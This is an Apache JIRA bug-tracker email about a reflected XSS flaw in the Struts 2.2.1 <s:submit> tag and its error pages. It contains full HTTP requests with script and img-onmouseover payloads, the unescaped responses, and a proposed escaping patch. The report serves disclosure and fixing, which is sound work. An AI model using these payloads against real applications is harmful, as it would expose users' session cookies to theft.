[ 
https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12999149#comment-12999149
 ] 

Marian Ventuneac edited comment on WW-3579 at 2/25/11 12:34 AM:
----------------------------------------------------------------

Hi Lukasz,


After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including 
the changes suggested in WW-3579.patch.

However, this doesn't seem to fix the XSS issues - please see the test case 
below. If the XSS payload includes no JavaScript specific characters to be 
escaped, the XSS attack is still successful.

To ease the whole testing process, I run same project on Tomcar 6.0.32 with 
custom 500 error page (to replicate the original issue).


GET request (for XWork 2.2.1 with WW-3579.patch):

GET 
/home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login
 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) 
Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9


HTTP response (for XWork 2.2.1 with WW-3579.patch):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Fri, 25 Feb 2011 00:01:06 GMT
Connection: close
Content-Length: 101

some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()


I took the liberty to alter the original code of DefaultActionProxy class and 
to sanitize both method and actionName attributes using 
StringEscapeUtils.escapeHtml() method - please see WW-3579 - 2.patch attached.

The result for using same XSS payload is shown below:


HTTP response (for XWork 2.2.1 with WW-3579.patch2):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Thu, 24 Feb 2011 23:59:12 GMT
Connection: close
Content-Length: 107

some_path.action.LoginAction.cantLogin&lt;img 
onmouseover=javascript:alert(1)&gt;()


The attached patch WW-3579 - 2.patch also addresses the XSS issues affecting 
actionName attribute of DefaultActionProxy class, something which was missed by 
the first patch.


Any feedback on the suggested fixes is welcome.

Regards, 
Marian




      was (Author: marian.ventuneac):
    Hi Lukasz,


After fiddling a bit with Maven, I got a custom built for XWork 2.2.1 including 
the changes suggested in WW-3579.patch.

However, this doesn't seem to fix the XSS issues - please see the test case 
below. If the XSS payload includes no JavaScript specific characters to be 
escaped, the XSS attack is still successful.

To ease the whole testing process, I run same project on Tomcar 6.0.32 with 
custom 500 error page (to replicate the original issue).


GET request (for XWork 2.2.1 with WW-3579.patch):

GET 
/home.html?action:login!cantLogin%3Cimg%20onmouseover%3djavascript:alert(1)%3E=Can%27t+login
 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) 
Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=EFE72ABCED6B9CF8B33BB3D3B3E576C9


HTTP response (for XWork 2.2.1 with WW-3579.patch):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Fri, 25 Feb 2011 00:01:06 GMT
Connection: close
Content-Length: 101

some_path.action.LoginAction.cantLogin<img onmouseover=javascript:alert(1)>()


I took the liberty to alter the original code of DefaultActionProxy class and 
to sanitize both method and actionName attributes using 
StringEscapeUtils.escapeHtml() method - please see WW-3579.patch2 attached.

The result for using same XSS payload is shown below:


HTTP response (for XWork 2.2.1 with WW-3579.patch2):

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html
Date: Thu, 24 Feb 2011 23:59:12 GMT
Connection: close
Content-Length: 107

some_path.action.LoginAction.cantLogin&lt;img 
onmouseover=javascript:alert(1)&gt;()


The attached patch WW-3579.patch2 also addresses the XSS issues affecting 
actionName attribute of DefaultActionProxy class, something which was missed by 
the first patch.


Any feedback on the suggested fixes is welcome.

Regards, 
Marian



  
> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579.patch, WW-3579.patch2
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 
> (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with 
> <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions 
> and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last 
> one) for rendering such errors. Due to the lack of output encoding for either 
> action or method passed via <s:submit> tag using bash syntax, reflected XSS 
> can be performed by injecting malicious scripting code into both the invoked 
> action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well 
> as two test cases showing the reflected XSS issues in Struts/XWork generated 
> error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd";>
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" 
> value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" 
> value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" 
> type="redirectAction">home</result>
>                                     <result 
> name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" 
> class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result 
> name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result 
> name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" 
> type="redirectAction">
>                                                 <param 
> name="actionName">cantlogin</param>
>                                                 <param 
> name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" 
> type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code 
> (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in 
> default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     
> setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     
> setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" 
> "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd";>
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml";>
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" 
> cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" 
> key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call 
> cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" 
> value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method 
> cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
> application/x-shockwave-flash, application/xaml+xml, 
> application/vnd.ms-xpsdocument, application/x-ms-xbap, 
> application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
> 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; 
> .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: 
> JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is 
> controlled by the user), the injected scripting code will be executed by the 
> browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class 
> implementing the action for which we manipulate the method to be called 
> (LoginAction in this case). 
> 3.2 passing in a nonexistent action 
> login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
> application/x-shockwave-flash, application/xaml+xml, 
> application/vnd.ms-xpsdocument, application/x-ms-xbap, 
> application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
> 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; 
> .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: 
> JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name 
> login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is 
> controlled by the user), the injected scripting code will be executed by the 
> browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

Reply via email to